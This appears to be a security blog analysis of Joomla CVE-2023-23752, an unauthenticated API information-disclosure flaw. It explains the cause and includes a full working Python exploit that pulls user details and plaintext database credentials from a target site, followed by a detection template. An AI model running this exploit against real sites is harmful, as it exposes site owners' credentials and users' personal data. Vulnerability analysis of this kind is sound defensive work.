Analysis of Joomla CVE-2023-23752

- 4 mins read

The Proof of Concept (PoC) for CVE-2023-23752 is available here.

Overview

CVE-2023-23752 represents a vulnerability in Joomla’s microservice API service, disclosed on February 13, 2023. Discovered by Zewei Zhang from NSFOCUS TIANJI Lab, the vulnerability has been assigned a base score of 5.3 (Medium). It allows unauthorized disclosure of plaintext passwords and Personally Identifiable Information (PII) of users. This article provides an analysis of the vulnerability.

The Vulnerability

CVE-2023-23752 is characterized by an improper access control flaw that permits unauthorized access to webservice endpoints without authentication. Specifically, when a client sends a request to certain API endpoints with the query parameter ?public=true in the URL, Joomla returns all configuration files without requiring authentication.

This vulnerability stems from Joomla’s handling of the public query parameter in the URL. Without checking the user’s session, Joomla processes requests with the public parameter present. This oversight can be observed in the ApiRouter.php file, particularly at line 58, which contains the following comment:

@param bool $publicGets Allow the public to make GET requests.

By default, this parameter is set to false. The function ParseApiRoute in the ApiRouter.php file fails to validate the public query parameter, indicating a significant security oversight.

Understanding this flaw, it becomes clear that any request including ?public=true in the URL will return the requested contents if publicGets is utilized. This realization opens up avenues to access API endpoints containing sensitive information, such as:

  • Retrieving user information (PII) via api/index.php/v1/users?public=true
  • Extracting database credentials in plaintext through api/index.php/v1/config/application?public=true

Exploitation

Exploiting this vulnerability is straightforward: one can directly request the vulnerable API endpoint. The following Python script facilitates this process:

import argparse
import requests
import json
from termcolor import colored

# __author__ = sysevil
# Date: 2023-03-24
# Version: 4.0.0 < 4.2.8 (it means from 4.0.0 up to 4.2.7)
# Tested on: Joomla! Version 4.2.7
# CVE : CVE-2023-23752
# Vendor Homepage: https://www.joomla.org/
# Software Link: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.tar.gz?format=gz

########## libs ###############

# $ pip install requests termcolor
# $ python3 joomla_disclosure.py http://example.com
# $ python3 joomla_disclosure.py http://example.com --debug --no-color

##############################

def fetch_users(root_url):
    vuln_url = f"{root_url}/api/index.php/v1/users?public=true"
    response = requests.get(vuln_url)
    return response.text

def parse_users(root_url):
    data_json = fetch_users(root_url)
    data = json.loads(data_json)['data']
    users = []
    for user in data:
        if user['type'] == 'users':
            id = user['attributes']['id']
            name = user['attributes']['name']
            username = user['attributes']['username']
            email = user['attributes']['email']
            groups = user['attributes']['group_names']
            users.append({'id': id, 'name': name, 'username': username, 'email': email, 'groups': groups})
    return users

def display_users(root_url):
    users = parse_users(root_url)
    print(colored('Users', 'red', attrs=['bold']))
    for u in users:
        print(f"[{u['id']}] {u['name']} ({colored(u['username'], 'yellow')}) - {u['email']} - {u['groups']}")

def fetch_config(root_url):
    vuln_url = f"{root_url}/api/index.php/v1/config/application?public=true"
    response = requests.get(vuln_url)
    return response.text

def parse_config(root_url):
    data_json = fetch_config(root_url)
    data = json.loads(data_json)['data']
    config = {}
    for entry in data:
        if entry['type'] == 'application':
            key = next(iter(entry['attributes']))
            config[key] = entry['attributes'][key]
    return config

def display_config(root_url):
    c = parse_config(root_url)
    print(colored('Site info', 'red', attrs=['bold']))
    print(f"Site name: {c.get('sitename')}")
    print(f"Editor: {c.get('editor')}")
    print(f"Captcha: {c.get('captcha')}")
    print(f"Access: {c.get('access')}")
    print(f"Debug status: {c.get('debug')}")
    print()
    print(colored('Database info', 'red', attrs=['bold']))
    print(f"DB type: {c.get('dbtype')}")
    print(f"DB host: {c.get('host')}")
    print(f"DB user: {colored(c.get('user'), 'yellow', attrs=['bold'])}")
    print(f"DB password: {colored(c.get('password'), 'yellow', attrs=['bold'])}")
    print(f"DB name: {c.get('db')}")
    print(f"DB prefix: {c.get('dbprefix')}")
    print(f"DB encryption: {c.get('dbencryption')}")

def main():
    parser = argparse.ArgumentParser(description='Joomla! < 4.2.8 - Unauthenticated information disclosure')
    parser.add_argument('url', help='Root URL (base path) including HTTP scheme, port, and root folder')
    parser.add_argument('--debug', action='store_true', help='Display arguments')
    parser.add_argument('--no-color', action='store_true', help='Disable colorized output')
    args = parser.parse_args()

    if args.no_color:
        # Disable colorized output
        global colored
        colored = lambda text, *args, **kwargs: text

    if args.debug:
        print(args)

    display_users(args.url)
    print()
    display_config(args.url)

if __name__ == '__main__':
    main()

Joomla’s Response

The resolution to this vulnerability was straightforward: the developers removed the ability to use the public query parameter in URLs for API/webservice endpoint requests.

  • Test the patch

Vulnerability Check Template

The following bcheck template was created to facilitate the identification of this vulnerability:

metadata:
    language: v1-beta
    name: "CVE-2023-23752 Unauthenticated information disclosure"
    description: "Check for CVE-2023-23752"
    author: "sysevil"
    tags: "CVE-2023-23752","joomla","unauth","information","disclosure"

define:
    base_path = "/"
    potential_path = "/api/index.php/v1/config/application?public=true"

given host then
    send request called check1:
        method: "GET"
        path: {base_path}

    if "joomla-" in {check1.response.body} then
        send request called check2:
            method: "GET"
            path: {potential_path}

        if {check2.response.status_code} is "200" and "\"type\":\"application\"" and "\"password\":" in {check2.response.body} then
            report issue:
            severity: high
            confidence: certain
            detail: "Title: Joomla! < 4.2.8 - Unauthenticated information disclosure"
            remediation: "Upgrade to the latest version of Joomla or upgrade to version > 4.2.7"
        end if

    end if

References